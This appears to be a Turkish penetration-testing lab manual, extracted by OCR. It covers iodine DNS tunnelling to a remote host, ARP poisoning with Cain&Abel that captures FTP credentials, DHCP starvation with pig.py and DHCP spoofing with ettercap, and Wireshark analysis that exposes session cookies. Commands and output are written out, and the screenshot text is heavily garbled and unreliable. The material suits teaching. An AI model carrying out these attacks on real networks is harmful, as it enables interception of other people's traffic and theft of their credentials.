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3.1. lodine ile DNS Tunelleme

Amagc: iodine programinin kullanilarak DNS protokolli Uzerinden internet erisim
engellemelerinin agiimasi.

Kullanilan Araglar: iodine
Uygulama: iodine
lodine agik kaynak ve destegi devam eden bir uygulamadir. Sunucu ve istemci mantigi
ile calismaktadir. Ozellestirilmis dns paketlerini kullanarak uzakta bulunan bir sunucu ile
haberlesmek icin kullaniimaktadir. Bu uygulama ayni zamanda bir saldiri araci olarak
kullaniimaktadir. Internet erisiminin engellendigi bir yerel agda, dns isteklerinin
kisittanmamasi durumunda, dns istekleri Gzerinden internete c¢ikabilmeye olanak
saglamaktadir. Ayrica ilgili agda bulunan bilgileri digsariya c¢ikariimasi mumkin
olmaktadir.
iodine programi Kali Linux sistemlerde kurulu olarak gelmektedir. Ubuntu isletim
sistemlerinde ise repository depolarinda bulunmaktadir.
Sunucu tarafinda iodine programi indirmek igin;

| apt-get install iodine |

iodine sunucusunu yapilandirmak igin
| root@ub:~# iodined -f 10.0.0.1 v.sibercik.com —P tus |

Burada verilen vpn.sibercik.com adresine dns kaydi girilmistir. Hedef sunucu igin bir dns
kaydinin girilmesi daha pratik olmaktadir.

istemci tarafinda girilmesi gereken komut;

iodine -P tus -T A 178.62.183.203 v.sibercik.com

Bu asamada basarili bir baglanti kurulduktan sonra ifconfig komutu ile ag arayuzleri
goruntulendiginde dns0 adinda bir ag arayuzunun sisteme eklendigi gozlemlenecektir.
root@kali:~# ifconfig
dnsO Link encap:UNSPEC HWaddr 00-00-00-00-00-00-00-00-00-00-00-00-00-
00-00-00

inet addr:10.0.0.3 P-t-P:10.0.0.3 Mask:255.255.255.224

UP POINTOPOINT RUNNING NOARP MULTICAST MTU:1130 Metric:1

RX packets:0 errors:0 dropped:0 overruns:0 frame:0

TX packets:0 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:500

RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)

ethO  Link encap:Ethernet HWaddr 00:0c:29:b2:93:5¢
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inet addr:192.168.1.34 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff.feb2:935¢c/64 Scope:Link

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:11231 errors:0 dropped:0 overruns:0 frame:0

TX packets:12631 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000

RX bytes:2329705 (2.2 MiB) TX bytes:1970042 (1.8 MiB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6é addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:234 errors:0 dropped:0 overruns:0 frame:0
TX packets:234 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:14060 (13.7 KiB) TX bytes:14060 (13.7 KiB)

Goraldugu gibi 10.0.0.3 adresine sahip bir ag arayizu olusturulmus. Bu arayuz araciligi
ile 10.0.0.1 yani uzakta bulunan iodine suncusuna erisebilmek mumkun olacaktir.

root@kali:~# ping 10.0.0.1

PING 10.0.0.1 (10.0.0.1) 56(84) bytes of data.

64 bytes from 10.0.0.1: icmp_reg=1 ttl=64 time=80.3 ms
64 bytes from 10.0.0.1: icmp_reg=2 ttl=64 time=77.3 ms

Sunucu tarafinda gelen trafik incelendiginde ise;

root@ub:~# tcpdump -i dns0O

tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

listening on dnsO, link-type RAW (Raw IP), capture size 65535 bytes
10:46:25.872259 IP 10.0.0.3 > 10.0.0.1: ICMP echo request, id 8016, seq 1, length
64

10:46:25.872315 IP 10.0.0.1 > 10.0.0.3: ICMP echo reply, id 8016, seq 1, length 64
10:46:26.887299 IP 10.0.0.3 > 10.0.0.1: ICMP echo request, id 8016, seq 2, length
64

10:46:26.887333 IP 10.0.0.1 > 10.0.0.3: ICMP echo reply, id 8016, seq 2, length 64

Gelen trafikte atilan ping istekleri gorilmektedir.
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3.2. Cain&Abel Kullanarak Arp Cache Poisoning Saldirisi

Amac: AgJ glvenligi konusunda bazi protokollerin zayif ydnleri bulunmaktadir. Bu
protokollerden biri ARP protokiludir. Ortadaki adam saldirisi olarak bilinen “Man in the
Middle(MITM)” saldirisinda ARP protokolinun zayifigi kullanilir. Local agda bulunan
baska bir bilgisayarin ag trafigini dinlenecektir.

Lab Senaryosu: Local agda bulunan bir bilgisayarin ag trafigini dinleyebilmek icin ARP
Cache Poisining yontemi kullanilacaktir. Trafigi dinlenmek istenen bilgisayarin ile
gateway arasina girilerek ortadaki adam saldirisi olarak bilinen “Man in the
Middle(MITM)” gerceklestirilecektir.

Gateway PC-01 PC-02

192.168.2.1 192.168.2.2 192.168.2.6

- Kurban bilgisayarin(PC-02) arp tablosu kontrol edilir.

\Windows\system32>arp —a

Interface: 192.168.2.6 —— Bxc
Internet Address Physical Address Type
192.168.2.1 BB-1c—aB8-59-5e—-25 dynamic

- Saldiri yapilacak bilgisayarda(PC-01) “Cain&Abel” programi c¢alistirilir ve saldir
yapilacak ag ara yuzu segilir.
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B
o
:
|

Tools  Help| Configuration Dialog ﬂ
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- Sniffer bolimlnde yerel agda bulunan aktif bilgisayarlarin kesfi yapilir. Programin orta
kisminda farenin sag digmesine basilarak “Scan MAC Addresses” segenegi segilir ve
istege gore ip araligi ve tarama turleri belirtilerek kesif baslatilir.

'D e

File View Configure Tools Help

[owomhmm +v e ynEEaO®22 62 0

[& Decoders |2 Network |l sniffer [&f Cracker [ Traceroute |WEl ccpu |4’ Wireless [B) Query |

IP address | MAC address | OUIfingerprint | Host name |B..[B. |88 [Gr [mo]m|ms]

Scan MAC Addresses

Resolve Host Name

Remove Delete

Remove All

Clear Promiscuous-Mode Results

Export

[g Hosts l@ APR l'i‘ Routing I“% Passwords Iﬁ VoIP |

Lost packets: 0%
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- Sniffer altinda bulunan “APR” béliminde “+” digmesine basarak kurban bilgisayarin
ciIkis kapisi ve kurban bilgisayarlarin ag adresleri segilir.

=
B e
File Wiew Configure Tools Help
— T e - —
laweommm[+y 2 ninmmEeogn |0 2|0
I@_%, Decoders IQ Network Iﬂ Sniffer IJ Cracker IQ Traceroute IM CCbu I[‘Z}"] Wireless Ia) Query I
Q?gi\PR-Cert Status | New ARP Poison Routing ul
3 APR-DNS = ~WARNING 1 -
~f8 APR-SSH-1 (0) APR enables you to hijack IP traffic between the selected host on the left list and all selected hosts on the right list in bath
- APR-HTTPS (0) directions. If a selected host has routing capabilities WAN traffic wil be intercepted as well. Please note that since your
_____ &) APR-ProxyHTTPS (0) machine has not the same performance of a router you could cause Do$ if you set APR between your Default Gateway and
% APR-RDP (0) all other hosts on your LAN.
-8 APR-FTPS (0)
& APR-POP3S (0) t
""" 5 APRIMAPS (0) Bty I i IP address MAC Hosthame IP address Hostname
-} APR-LDAPS (0) 192.188.28 | 1CCE3CA28748
----- & APR-SIPS (0) 192.168.2.4 GC39A5C35417 RN ST AD
192.168.2.3 90187C47334D 192.168.2.4 8CH345C38417
192.168.2.6 1CCE3CA28748
P F—— @ Configuration / 2 fi Al i i
z % I oK I Cancel
@ Hosts I@ APR “‘I‘ Routing I R Passwordg
Lost packets: 0%

N

- Ag zehirlemesine baslanir ve kurban bilgisayarin(PC-02) arp tablosu tekrar kontrol
edilir.

i |
File View Configure Tools Help

[cwehmm +v/ 2 nommEe0en @2 0

@ Decoderd Start/Stop APR{ Iﬂ Sniffer ﬂ(.vf Cracker I@ Traceroute IM CCDU II(Z‘” Wireless l% Query I

& APR Status | 1P address | MAC address | Packets -> | <- Packets | MAC address__| IP address |
& APR-Cert Poisoning ___102168.21 001CAS595E25 0 0 1CC63CA28748 19216826 ]
..... 2 APR-DNS

.. APR-SSH-1 (0)

..... & APR-HTTPS (0)

& APR-ProxyHTTPS (0)
.58 APR-RDP (0)

..... 5 APR-FTPS (0)

..... & APR-POP3S (0)

é APR-IMAPS (0) Status IP address MAC address Packets -> | <- Packets ] MAC address IP address

..... £ APR-LDAPS (0) 4> Half-routing  192168.2.6 1CC63CA28748 2 0 001CAS595E25 111111111111
..... &) APR-SIPS (0)

N T @ Configuration / Routed Packets |

@ Hosts I@ APR I"I’ Routing |‘$§ Passwords I@ VolP |

Lost packets: 0%

4
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- Zehirleme iglemi sonrasinda kurban bilgisayarin ARP tablosuna tekrar bakilir.
Goraldugu Uzere c¢ikis kapisi (Gateway) MAC adresi degismis durumdadir. ARP tablosu
zehirlenerek ag trafigi saldirgan bilgisayar Uzerinden gececek sekilde devam ediyor
olacaktir.

Son durumda bagdlanti sekli asagidaki gibi devam etmektedir.
\Windows\system322arp —a

Interface: 192.168.2.6 —— Bxc
Internet Address Physical Address Type
192.168.2.1 B0-1a-73-fh-B9-8a dynamic

&4

’

’

f/ﬂ“

- Cain&Abel uygulamasindaki loglar asagidaki gibi olacaktir. FTP,SMTP,HTTP gibi
onemli servislerin trafigini pars ederek daha anlasilir giktilar sunacaktir.

;‘ =N [ER )

File View Configure Tools Help
S|l S o il v R 2 mEEa0%r 6 2 i

I@% Decoders I? Network Ig_“) Sniffer I&;‘) Cracker I@ Traceroute lm CCbuy I[(Z]f)) Wireless I?z} Query |

‘P», Passwords 4 | Timestamp [ FTP server l Client | Username l Password

€ FIP (D) 01/05/2013-00:25:27 178.210160.70  192168.26 test benimgiziiparoiam
R HTTP (D)

3 IMAP (0)

LDAP (0)

b POP3 (0)

stk SMB (0)

Telnet (0)

R8 vnC ()

& DS 0)
 TNS ()
-5 SMTP (0)

S NNTP (0)
DCE/RPC (0)

&3 MSKerb5-PreAutk
84 Radius-Keys (0)
€ Radius-Users (0)
gKI1cQO

65 IKE- k%
< So IKE';FSK (0] ’ Q FTP
@ Hosts |® APR |‘§* Routing | ?‘». Passwords I{% VoIP |

Lost packets: 0%
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3.3. DHCP Spoofing Ve DHCP Resource Starvation Denemeleri

Amac: Yerel agda bulunan bir DHCP sunucusunun IP havuzu tiketilerek, sunucuyu
DHCP isteklerine cevap veremez hale getirmek. Sonrasinda DHCP sunucu gibi
davranarak kurbanlara IP dagitmak.
Kullanilan Araglar: pig.py, ettercap
Uygulama:
1. Adim: Uygulamada 6nce agdaki DHCP sunucusu tespit edilecek ve tim havuzu
tuketilecektir.

DHCP havuzunu tuketmek icin pig.py python betigi kullanilacaktir. Bu betik kali Linux
ile birlikte gelmektedir. Kullanim sekli;

root@kali:~# pig.py ethO

ethO; ag arayuzu olarak girilmektedir.
Betik gcalistirildiginda elde edilen sonug;

root@kali:~# pig.py ethO
WARNING: No route found for IPv6 destination :: (no default route?)

Sending DHCPDISCOVER on eth0
DHCPOFFER handing out IP: 2.2.2.50

sent DHCP Request for 2.2.2.50

waiting for first DHCP Server response on ethO

Sending DHCPDISCOVER on eth0
DHCPOFFER handing out IP: 2.2.2.90
sent DHCP Request for 2.2.2.90

Sending DHCPDISCOVER on ethO

Havuz tukendiginde betigin istekleri cevapsiz kalacaktir.

2. Adim: DHCP sunucusu gibi davranarak baskalarinin trafigini Uzerinden
gecirmek;

Komut satirindan ettercap ¢agrilir;

root@kali:~# ettercap -G
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Gelen araylzden agagida isaretlenmis alan segilir;

ettercap 0.8.0 - (O
File Options 7

Bridged sniffing... Shift+B

Set pcap filter...

Saldirida kullanilacak ag arayuzu segilir.

Start -> Start sniffing. alani segilir.

Yeni duzenlenecek meniden Mitm -> Dhcp spoofing.. segilir

. ettercap 0.8.0 - | O
Start Targets Hosts View ’—] Filters Logging Plugins 7

Arp poisoning...

lcmp redirect...

Port stealing...

Stop mitm attack(s

—
Saldirida kullanilacak alanlar doldurulur,
MITM Attack: DHCP Spoofing (as nobody)

— Server Information
ﬁ IP Pool (optional) [5.5.5.1

Netmask 255.255.255.0 |

DNS Server IP |5.5.5.1 |
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3.4. Paket/Protokol Analizi Amach Wireshark Kullanimi

Amagc: Paket protokol analizinde wireshark aracinin kullaniimasi ve ciktilarin detayl
incelenmesi

Wireshark eski adi Etheral olan agik kaynak kodlu bir sniffer aracidir. iki tip filtre
bulunur.

Capture Filter : Yakalanacak paketlerin tirl portu protokol bilgisi 6nceden belirtilerek
hedef odakli bir paket analizi yapilabilir.

| N\ *Wi-Fi: en0 (tcp port 21) [Wireshark 1,100 (SVN Rev 49790 from /trunk-1.10)]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

CoAMI ERXY Aa¢»wTFEEE QAR EVE% B

Fliter | » | Expression...

No. Time Source Destination Protocol| Length | Info

3 0.011567000  192.168.2.7 178.210.160.70 65 49152 > ftp [ACK] Seq=1 Ack=1 Win=132480 Len=0 TSval=870524576 TSecr=329281298
4 0.024558000 178.210.160.70 192.168.2.7 FTP 386 Response: 220-- .- wWelcome to Pure-FTPd [privsep] [TLS] -
5 0.024697000  192.168.2.7 178.210.160.70 TP 66 49152 > ftp [ACK] Seq=1 Ack=321 Win=132160 Len=0 TSval=870524588 TSecr=329281314
8nn |\ Wireshark: Capture Options
Capture
Capture nterface ILmk»lavel ‘eaoerl Prom. Mode | Snaplen {Bllﬁul’er [MB]|Mon, Mocel Capture Filter I -
Wi-Fi: en0
] fe80::22c9:d0ff:fe86:5691 Ether| enabled default 2 disabled tcp port 21
192.168.2.7
O p2p0 IP enabled default 2 n/a
b Frame 3: 66 byd t‘;‘:"f’“"z 100
b Ethernet II, SH O > 8SD loopback enabled default 2 n/a 4

127.0.0.1

b Internet Protod
v Transmission Cd

.

O Capture on all interface Manage Interfaces

& Use promiscuous mogde on all Interfaces
(i(_japlme Filter; I v | | Compile selected BPFs

Capture Files Display Options
File | 5 Browse... &2 Update list of packets in real time
0O Use multiple files B Use pcap-ng format

B Automatically scroll during live capture

y 5 B Hide capture info dialog

Name Resolution

4]

& Resolve MAC addresses
0000 00 ic a8 59|
0010 00 34 ge 0a| Stop Capture Automatically After... N
0020 a0 46 cO 00| O Resolve network-layer names

0030 40 bO 47 cf aopn = |

Display Filter : Yakalanan paketlerin icerisinden istenilen 6zelliklerdeki paketlerin
ayiklanmasi kisminda kullanilabilir.
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) 2WicFi: @00 (Wireshark 1.10.0 (SVN Rav 49790 from ftrunkz1.10)]
ile Edit View Co Capture Analyze Statistics Telephony Tools |nternals Help

f N
Filter:l(q).srcport 80 ~ ;I xpression,.. Clear Apply Save

No. |Time ]Snurce \ | Destination |Prnm|:n|| Lengmllnfo i
2 0.003427000  64.15.117.144 HTTP 1506 Contanuation or non-HTTP traffic
40.00S600000  64.15.117.144 HTTP 1506 Continuation or non-HTTP traffic
60.007184000  64.15.117.144 HTTP 1506 Continuation or nen-HTTP traffic
7 0.010307000  64.15.117.144 HITR 1506 Continuation or non-HTTP traffic
90.013352000 64.15.117.144 HTTP 1506 Continuation or non-HTTP traffic
11 0,014929000  64,15,117.144 HTTP 1506 Continuation or non-HTTP traffic
13 0.027134000  64.15.117.144 HTTR 1506 Continuation or non-HTTP traffic
14 0.028900000  64.15.117.144 HTTR 1506 Continuation or non-HTTP traffic
16 0.030938000  64.15.117.144 192.168.2.7 HTTR 1506 Continuation or non-HTTP traffic
18 0.032586000  64.15.117.144 192.168.2.7 HITP 1506 Continuation or non-HITP traffic
19 0.034151000  64,15.117.144 192.168.2.7 HTTP 1506 Continuation or non-HTTP traffic
21 0.0366895000  64.15.117.144 192.168.2.7 HITR 1506 Continuation or non-HTTP traffic
23 0.040135000  64.15.117.144 HTTR 1506 Continuation or non-HTTP traffic
24 0.041737000  64.15.117.144 HITR 1506 Continuation or non-HTTP traffic A
26 0.053536000 _ 64.15.117.144 HITP 1506 Contin non-HITP traffic X

e

b Frame 1: 1506 bytes on wire (12048 bits), 1506 bytes captured (12048 bats) on interface 0

b Ethernet II, Src: AirtieswW_59:5e:25 (00:1c:aB:59:5e:25), Dst: Apple_B6:56:91 (20:c9:d0:86:56:91)
P Internet Protocol Version 4, Src: 64.15.117.144 (64.15.117.144), Dst: 192.168.2.7 (192.168.2.7)
'v Transmission Control Protocol, Src Port: http (80), Dst Port: 49219 (49219), Seq: 1, Ack: 1, Len: 1452
Source port: http (80)

Destination port: 45219 (49219)

[Stream index: 0]

Sequence number: 1 (relative sequence number)

[Next sequence number: 1453 (relative sequence number)]

acknowledgment number: 1 (relative ack number)

Header length: 20 bytes

Flags: 0x010 (ACK)

window size value: 304

[Calculated window size: 304]

[Window size scaling factor: -1 {unknawn)]

b Checksum: OxdBed [validation disabled]

b [SEQ/ACK analysis)

b Hypertext Transfer Protocol

-

5 d0 86

20 c! lc aB 58 Se
0010 05 d
020 02 O

25 08 00
06 44 42 40 of 75 90 cO a8
€ 8b 7b ¢l 3b 51 94 50

DOBDDIBUdEc-t 3 7d al&ﬁsofa?zdancdﬁ

SIHIFIIE ",'var,'[ul:iers,']b,’:zp\sn i Packets: 1255 - Dlsplaved 731(55 296) Dropped: O (0,0%) {Profile: Default 4

Adim 1: izlenen trafik icerisinde kelime arama

L00 X! *Wi-Fi: en0 [Wireshark 1.10.0 (SVN Rev 49790 from /trunk-1.10))
it_View Co Capture Analyze s(ausucs Telephony Tools Internals Help

BEEXQa¢rswF2[EFB Qaar EUE% B

Filter: | _lExpression.. lear Apply Save
No. ]Tlme J Source [Destmanon | h'otocol| Lenqth| lnfo

257 4.504274000  192.168.2.7 173.194.39.206 TLSv] 107 Encryptad Nndlhlke Message

258 4.504451000  192.168.2.7 173.194.39.206 TLSVL 1203 Application Data

259 4.537153000  173.194.39.206 192.168.2.7 TP 66 https > 49714 [ACK] Seq=134 Ack=226 Win=42368 Len=0 TSval=1573130431 TSecr=871760653
260 4.590256000  173.194.39.206 3 TR 66 https > 49714 [ACK] Seq=134 Ack=1363 Win=42304 Len=0 TSval=1573130485 TSecr=871760693
261 4.606608000  173.194.39.206 5 TLSV1 505 Application Data

262 4.606756000  192.168.2.7 = TR 66 49714 > https [ACK] Seq=1363 Ack=573 Win=131296 Len=0 TSval=871760794 TSecr=1573130500
Apple_86:56:91 42 who has 6.6.6.254? Tell 6.6.6.113

8.8.8.8 ONS 76 Standard query Oxa2a2 A berbergokmen.com

G5 Grandacd nuary rasnnnea (va3a> A 178.210.160.70
Len=0 WS=16 TSval=871761191 TSecr=0 SACK_PERM=1

—&s|

266 5.006572000 192.168.2.7 )78 210 160 70

Find

267 5.016842000  178.210.160.70 192.168.2.7 jck=1 Win=5792 Len=0 MSS=1452 SACK_PERM=1 TSval=330622713 TSecr=871761191 WS=128
268 5.017051000  192.168.2.7 178.210.160.70 3 i " Win=132480 Len=0 TSval=871761201 TSecr=330622713
269 5.019271000  192.168.2.7 178.210,160,70 || B © Display fiiter O Hex value @ String
270 5.037164000  178.210.160.70 192.168.2.7 I Jiter |b.rbarqokmed [ Win=6912 Len=0 TSval=330622734 TSecr=871761203
U]

192.168.2.7

=)

St Sringrtions P &1

b Frame 2647 76 bytes on wire (608 bits), 76 bytes coptured (608 baj O facketlist /[ Cage sensitive O Up

b Ethernet 11, Src: Apple_86:56:91 (20:¢0:d0:86:56:91), Dst: Airtief O Packet details CharActer width: ® Down

b Internet Protocol Version 4, Src: 192.168.2.7 (192.168.2.7), Dst:| @ Packet bytes Nafrow & wide v

b User Datagram Protocol, Src Port: 50757 (S0757), Dst Port: domaii

'~ Domain Name System (query) HiHelp & cancel o, Find I
[Response In: 265 -
Transaction ID: Oxa2a2 —

b Flags: 0x0100 Standard query
Questions: 1
Answer RRs: O
Authority RRs: 0
Additional RRs: O
¥ Queries
 berbergokmen.com: type A, class IN

Type: A (Host address)
Class: IN (0x0001)

0010 00 3e 7d 63 00 00 ff 11 6b 8¢ cO a8 02 07 08 08 .
0020 08 08 ¢6 45 00 35 00 2a_ 60 dS a2 a2 01 00 00 O1 B
0030 00 00 0O 00 00 00 Oc 72 6 l
0040 NN 03 63 6f 64 00 00 01 00 OL 2

v
@ ¥[Query Name (dns.qry.name),... ] Packets: 9872 - Displayed: 9872 (100,0%) - Dropped: O (0,0%) ] Profile: Default
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Adim 2:
gOsterilir.

Eile Edit View Co

Protokol detaylarinin gosterilmesi,
Ozellikle DDOS saldirilarinda saldiri tipini belirlemek igin kullanilir.

[PENTEST LAB CALISMALARI]

N\l *Wi-Fi: en0 [Wireshark 1.10.0 (SVN Rev 49790 from /trunk-1.10)]

Capture Analyze Statistics Telephony Tools Internals Help

BEXYQ -11|’“l Qaaf gME%: ©

0e®dm g

Filter: | Expression...

No. Time Source Destination
1 0.000000000  192.168,2.7 8.8.8.8 NS
20.000001000  192.168.2.7 8.8.8.8 DNS
30.050467000 8.8.8.8 192.168.2.7 DNS
40.058024000 8.8.8.8 192.168.2.7 DNS
50.456175000  Airtiesw_59:5e: 86:56:9 ARD

6 0.456271000 Apple_B6:56;
7 2.095393000  173.194.70.
8 2.095524000 192.168.2.7

9 2.095758000

25
B OO

Protocol| Length| Info

85 Standard query Ox047¢ A e3191.dscc.akamaiedge.net
95 Standard query Ox368a A 1.courier-push-apple.com.akadns.net
101 Standard query response Ox047e A 2.21.45.15

detayl bir gekilde protokol detaylari

Standard query ruponu O0x368a A 17.149.36.149 A 17.149.36.169 A 17.149.32.63 A 17.149.36.199 A 17.149.36.94 A

A2%bo b 9 £8.2.1

I\ Wireshark: P

173.194.70.14 Protocol

Display fllrer none

10 2.095825000 192.168.2.7 | T
12 2.096531000 192.168.2.7
13 2,105730000 192.168.2.7
16 2.109592000  192.168.2.7

I
» Frame 1: 85 bytes on wire bit]
b Ethernet II, Src: Apple_86:56:91 (|
b Internet Protocol Version 4, Src:
» User Datagram Protocol, Src Port:
' Domain Name System (query)
Response In: 3
Transaction ID: Ox047e
P Flags: 0x0100 Standard query
Questior 1
Answer RRs: O
Authority RRs: O
Additional RRs: O
- Queries
| < e3191.dscc.akamaiedge.net: ty

0020 08 08 e4 S5 00 35 00 33 Ga 37 0
0030 00 00 00 00 00 00

0040

0050

0000 00 1c a8 59 Se 25 20 c9 do 86| IHHelp
0010 oonzomooocﬂ 11 c8 69

< Ethernet

< Internet Protocol Version 4
= User Datagram Protocol
Domain Name Service
Hypertext Transfer Protocol
¥ Transmission Control Protocol
v Secure Sockets Layer
Secure Sockets Layer
v Hypertext Transfer Protocol
Media Type
Line-based text data
Malformed Packet
Internet Control Message Protocol
Address Resolution Protocol

% Packets |Packets |% Bytes |Bytes |bel/s |End Packets IEnd Bytes |Enu Mbit/s

6337 JENREY 6157061 0,436 0 0,000

6278 |EERERE 6154583 0,435 0 o 0,000
101% 64/ 0,12% 7296 0,001 0 0
0,98 % 62| 0,11% 6730 0,000 62 6730
0,03 % 2/ 0,01% 566 0,000 2 566
6213 [EEEEER 6147217 0,435 6021 6068695
2,30% 146/ 0,70% 42941 0,003 144 41111
0,03 % 2/ 0,03% 1830 0,000 2 1830
0,66 % 42/ 050% 30937 0,002 24 18724
0,27 % 17/0,18% 11353 0,001 17 11353
0,02% 0,01% 860 0,000 1 860
0,06 % 4/ 0,08% 4644 0,000 4 4644
0,02 % 1/ 0,00% 70 0,000 1 70
0,93% 59/ 0,04% 2478 0,000 59 2478

J60823

p69624

74262688 TSecr=207769824

«

“l

@ ¥[Text item (text), 31 bytes

JPackets: 6337 - Displayed: 6337 (100,0%)

- Dropped: 0 (0,0%)

JProfile: Default
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[PENTEST LAB GALISMALARI]

Adim 3: TCP oturumlarinda paket birlestirme, HTTP baglantisindaki tim giden gelen
paketlerin birlestirilip session hakkinda bilgi verilmesi.

Birlestiriimek istenilen protokol paketi Uzerinde sag tiklanir ve “Follow TCP Stream”

segenegi segilir.

\
File Edit View Go Capture Analyze Statistics Telephony Tools [nternals

*Wi-Fi: en0 [Wireshark 1.10.0 (SVN Rev 49790 from /trunk-1.10))

Help

CoANI ERNX Aaer»wFELEB QaAR gL B

Filter Ilcp.stream eq 6

J Expression... Clear

1476 40,543435000 192.168.2.7 T
1477 41.418220000 192.168.2.7 T
1478 41. 418359000 64.15.117.173 T
1479 41.418931000 192.168.2.7 T
1480 41.419556000 192.168.2.7 T

1481 41.419647000 T
1482 41.420712000 T
1483 41.420837000 T
1484 41.421437000 192.168.2.7 T
1485 41.422449000 192.168.2.7 T
1486 41.422503000 64.15.117.173 T
1487 41.423213000 192.168.2.7 T
1488 41.423437000 64.15.117.173 T
1489 41, 425061000 192.168.2.7 T

192.168 T

b Frame 1475: 1162 bytes on wire (9296 bits), 1162 bytes captured (9296 bits)
b Ethernet II, Src: Apple._ 91 (20:¢9:d0:86:56:91), Dst: Airtiesw_S9
b Internet Protocol Version 4, Src: 192.168.2.7 (192.168.2,7), Dst: 64.15.117.1
< Transmission Control Protocol, Src Port: 50540 (50540), Dst Port: http (80),

Source port: 50540 (S0540)

Destination port: http (80)

[Stream index: 6]

Sequence number: 8121 (relative sequence number)

[Next sequence number: 9229 (relative sequence number)]

Acknowledgment number: 1479767 (relative ack number)

Header length: 20 bytes

v

Flags: 0x018 (PSH, ACK)
window size valu
[calculated window

44 3d 33 4c

1VHX. res
RgFsaay :
AcXiHEdK
ol 8A%0NF

39 4f 75 72

Save

Destination Protocol| Length| Info
64,15.117.173

Mark Packet (toggle) q=1479767 Ack=9229 Win=829 Len=0

Ignore Packet (toggle) ssembled POU)
C f Q=9229 Ack=1480137 Win=16360 Len=0
© Set Time Reference (toggle) ssenbled POU]

@ Time Shift...
f#) Packet Commen

ssembled POU)
q=9229 Ack=1483041 Win=16293 Len=0

ssenbled POU]
Manually Resolve Address q=9229 Ack=1484493 Win=16384 Len=0
ssembled POU)
Apply as Filter ssenbled POU]
Pr F q=9229 Ack=1487397 win: 293 Len=0
epare a Filter ssembled POU)

Conversation Filter
Colorize Conversation

q=9226 Ack=1488849 Win=16384 Len=0
yssenbled POU]
ssenbled POU]

v vwvww

Copy »
Protocol Preferences 4
3§ Decode As...
& Print...

Show Packet in New Window

«r

>

<0

Frame (1162 bytes) |Reassembled TCP (2308 bytes)

@ #|[File: "/var/folders/jb/czplsn... ]Packets: 6337 - Displayed: 2630 (41,5%) - Dropped: 0 (0,0%)

JProfile: Default

Birlestirilen paketin detaylari asagida goruldigu gibi olacaktir. HTTP igerisinden taginan

veri bilgisi.
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000
File Edit View Co Capture Analyze Statistics Telephony Tools Internals Help

edNd 50X c«s«wFEEB QcaRN #¥E%E B

&
@

| *Wi-Fi: en0 [Wireshark 1.10.0 (SVN Rev 49790 from /trunk-1.10)]

Filtel

r: |tcp.stream eq 6

j Expression... Clear Save

P Frame 1475: 1162 bytes on wire (9296 bits),

1476 40.543435000
1477 41.418220000
1478 41.418359000
1479 41.418931000
1480 41419598000
1481 41.419647000
1482 41.420712000
1483 41.420837000
1484 41.421437000
1485 41.422443000
1486 41.422503000
1487 41.423213000
1488 41.423437000
1489 41.425061000
1490 41.426357000

b Ethernet II, Src: App

b Internet Protocol Version 4, Src: 192,168,
'= Transmssion Control Protocol, Src Port:

0010

e

0040
00b0
noen

Source port: 50540

Destination port: http (B0)

[Stream index: 8]

Sequence number: B121 (relative sequ
[Mext sequence number: 9229 (relativ
Acknowledgment number: 1479767 (rela
Header length: 20 bytes
Flags: OxO18 (PSH, ACK)

window size value:

[calculated window size: 16384]

Source

64.15.117.173
64.15.117.173
192.168.2.7
64.15.117.173
64,15.117.173
192.168.2.7
64,15.117.173
152.168.2.7
64,15.117.173
64,15.117.173
192.168.2.7
64,15.117.173
192.168.2.7
64,15.117.173
64.15.117.173

86:56:91 (20:c9:

(50540)

16384

rStream Content

Destinal

192.168.2.7
182 18R 2 7

54 http > 50540 [ACK] Se

294 17D eanmant nf s raeseeamhlad oniil

[GET /videoplayback?algor:thm=throttle- a

factor&burst=408c|en=262378E546cp=UChWS 1RLT 19GUUNONL SMRVNDO MSM] JKaH) 2Rk g 16cpn =WBVOECEC ' 16293 Len=0

|BoxRMB6Z Sdur =

20909546%20906397%2C929 1 | 4209291 21%2C929906% 2092990 7%2C925 1 27% 209291 29% 209291 31% 16384 Len=0
9257 2052092572 2%2C9257 1 8%2C 9257 1 4%2C92991 7%2C92991 2051 25092091 2521%

3428%2C904830%2C01 937 3% 205041 22%2(538701%2C026605%2C51 1 423%2CI0G5AF%

091271 1%2C

zcsusoougcr trl’-ql —yesmdzeuscamssmaaldnp—as 102. 130. 109&i pbi ts=8i tag=134skeepali 16293 Len=0
sskey=yt 16l 873024- 1928519676

m W 16384 Len=0
[SCA0S6FF20C7E L LB7EEGsource=youtubebsparams=algori thms2Cbur st%2Cc Lend2Ccph2Cdurs2cfactor

A2Cge 1 r42C1 d%2C1 pA2C1 pbi ts%2C1 tagh2Clmth2Csourcek2Cupns
2Cexpirebsver=38upn=S25ShkFE_AY HTTE/1.1

s III!I I“'E‘ rre———
(KHTML, [1 ol o) version/6.0.3 safar1/536.28.10

Accept: */°

Accept- unguage. tretr

Accept-Encoding: gzip, deflate

[Cookie: ACTIVITY=1376380238325; PREF=HIDOEN MASTHEAD ID=3Ly_fsFdREl&al=tr
ttan&fv=11.7. 70061 4=4000000&f 1=50000000;

WIVHX. resume=V_xERQFS4AY : 1153, OVCACX: HEdk 2084, Gf pLeaBOur A: 453, YTw3nZNOGPO: 4803;
ILOGIN_INFO=/
UTUBIxug]]MlOquNTHfMLNN’I’U!IC!II]egl‘Bng)\’lmMszZS-g[]cxmA)(Hch“tz:Jl)MxLCth]HIEJ ¥

!« — » I
Entire conversation (2681078 bytes) hd |

“\Find | @save as | @erint [0 AsCil © EBCDIC © Hex Dump © CArrays ® Raw

———

>l (&l

e . 7 ¢ "

04 7c d9 lc 0O DO 40 06 24 f4 cO aB Htelp [ Filter Out ThwsSlreaml K Close |
75 ad c5 6c 00 50 18 cb Sb ef 40 82 v
40 0C 84 b3 00 00 3d 31 33 37 36 33 38

39 33 32 35 3 20 50 45 a6 3d 48 49 44 44 45 B325; PR EF=HIDOE

42 Sf ad 41 53 54 48 45 41 44 5f 49 44 3d 33 4c  N_MASTHE AD ID=3L

